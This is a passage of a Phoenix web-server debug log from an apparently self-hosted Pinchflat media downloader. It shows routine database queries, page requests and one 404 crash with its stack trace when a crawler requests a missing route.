s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:59.996 [debug] QUERY OK source="settings" db=0.1ms idle=465.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:59.997 [info] Sent 200 in 2ms 15:34:00.157 [info] GET /sources/3/media/4213 15:34:00.157 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4213", "source_id" => "3"} Pipelines: [:browser] 15:34:00.157 [debug] QUERY OK source="media_items" db=0.2ms idle=435.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4213] 15:34:00.158 [debug] QUERY OK source="tasks" db=0.1ms idle=163.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4213] 15:34:00.158 [debug] QUERY OK source="sources" db=0.2ms idle=162.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:34:00.158 [debug] QUERY OK source="settings" db=0.1ms idle=162.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:00.159 [debug] QUERY OK source="settings" db=0.0ms idle=162.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:00.159 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:00.159 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:34:00.161 [info] Sent 200 in 3ms 15:34:00.204 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:34:00.663 [info] GET /sources/2/media/1614/edit 15:34:00.663 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1614", "source_id" => "2"} Pipelines: [:browser] 15:34:00.664 [debug] QUERY OK source="media_items" db=0.2ms idle=505.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1614] 15:34:00.664 [debug] QUERY OK source="settings" db=0.1ms idle=505.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:00.664 [debug] QUERY OK source="settings" db=0.0ms idle=505.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:00.665 [debug] QUERY OK source="settings" db=0.1ms idle=505.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:00.666 [info] Sent 200 in 2ms 15:34:01.163 [info] GET /sources/2/media/1611/edit 15:34:01.163 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1611", "source_id" => "2"} Pipelines: [:browser] 15:34:01.164 [debug] QUERY OK source="media_items" db=0.2ms idle=499.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1611] 15:34:01.164 [debug] QUERY OK source="settings" db=0.1ms idle=499.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:01.164 [debug] QUERY OK source="settings" db=0.1ms idle=499.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:01.165 [debug] QUERY OK source="settings" db=0.1ms idle=499.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:01.166 [info] Sent 200 in 2ms 15:34:27.946 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:45.192 [info] GET /sources/3/media/3221/edit 15:34:45.192 [info] GET /sources/2/media/7390/edit 15:34:45.192 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "7390", "source_id" => "2"} Pipelines: [:browser] 15:34:45.192 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3221", "source_id" => "3"} Pipelines: [:browser] 15:34:45.193 [debug] QUERY OK source="media_items" db=0.4ms idle=662.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3221] 15:34:45.193 [debug] QUERY OK source="media_items" db=0.5ms idle=1426.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7390] 15:34:45.193 [debug] QUERY OK source="settings" db=0.0ms idle=663.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:45.193 [debug] QUERY OK source="settings" db=0.0ms idle=663.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:45.194 [debug] QUERY OK source="settings" db=0.0ms idle=426.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:45.194 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:45.194 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:45.194 [debug] QUERY OK source="settings" db=0.3ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:45.195 [info] Sent 200 in 3ms 15:34:45.195 [info] Sent 200 in 3ms 15:34:45.696 [info] GET /sources/3/media/6875/edit 15:34:45.696 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6875", "source_id" => "3"} Pipelines: [:browser] 15:34:45.697 [debug] QUERY OK source="media_items" db=0.2ms idle=502.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6875] 15:34:45.697 [debug] QUERY OK source="settings" db=0.1ms idle=503.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:45.697 [debug] QUERY OK source="settings" db=0.0ms idle=503.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:45.698 [debug] QUERY OK source="settings" db=0.1ms idle=503.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:45.699 [info] Sent 200 in 2ms 15:34:46.196 [info] GET /sources/2/media/2719/edit 15:34:46.196 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "2719", "source_id" => "2"} Pipelines: [:browser] 15:34:46.196 [debug] QUERY OK source="media_items" db=0.2ms idle=499.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2719] 15:34:46.197 [debug] QUERY OK source="settings" db=0.1ms idle=499.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:46.197 [debug] QUERY OK source="settings" db=0.0ms idle=499.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:46.197 [debug] QUERY OK source="settings" db=0.1ms idle=499.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:34:46.198 [info] Sent 200 in 2ms 15:34:57.947 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.205 [info] {"source":"oban","duration":319,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:35:03.605 [info] GET /sources/3/media/7349/edit 15:35:03.605 [info] GET /sources/2/force_download_pending 15:35:03.605 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "7349", "source_id" => "3"} Pipelines: [:browser] 15:35:03.606 [debug] QUERY OK source="settings" db=0.3ms idle=816.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:03.606 [debug] QUERY OK source="media_items" db=0.4ms idle=74.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7349] 15:35:03.606 [debug] QUERY OK source="settings" db=0.1ms idle=75.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:03.606 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:35:03.606 [debug] QUERY OK source="settings" db=0.1ms idle=75.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:03.606 [debug] QUERY OK source="settings" db=0.0ms idle=75.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:03.607 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:03.608 [info] Sent 200 in 2ms 15:35:03.606 [error] #PID<0.35958.0> running PinchflatWeb.Endpoint (connection #PID<0.35956.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/2/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 50062}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35958.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSrGoZxGmMx-wAAFqD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 50062}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 50062}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35958.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", (truncated) 15:35:04.038 [info] GET /sources/3/media/4007/edit 15:35:04.039 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4007", "source_id" => "3"} Pipelines: [:browser] 15:35:04.039 [debug] QUERY OK source="media_items" db=0.2ms idle=433.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4007] 15:35:04.040 [debug] QUERY OK source="settings" db=0.1ms idle=433.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:04.040 [debug] QUERY OK source="settings" db=0.0ms idle=433.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:04.040 [debug] QUERY OK source="settings" db=0.0ms idle=433.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:35:04.041 [info] Sent 200 in 2ms 15:35:04.537 [info] GET /sources/3/media/5174/edit 15:35:04.537 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "5174", "source_id" => "3"} Pipelines: [:browser] 15:35:04.538 [debug] QUERY OK source="media_items" db=0.2ms idle=747.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", 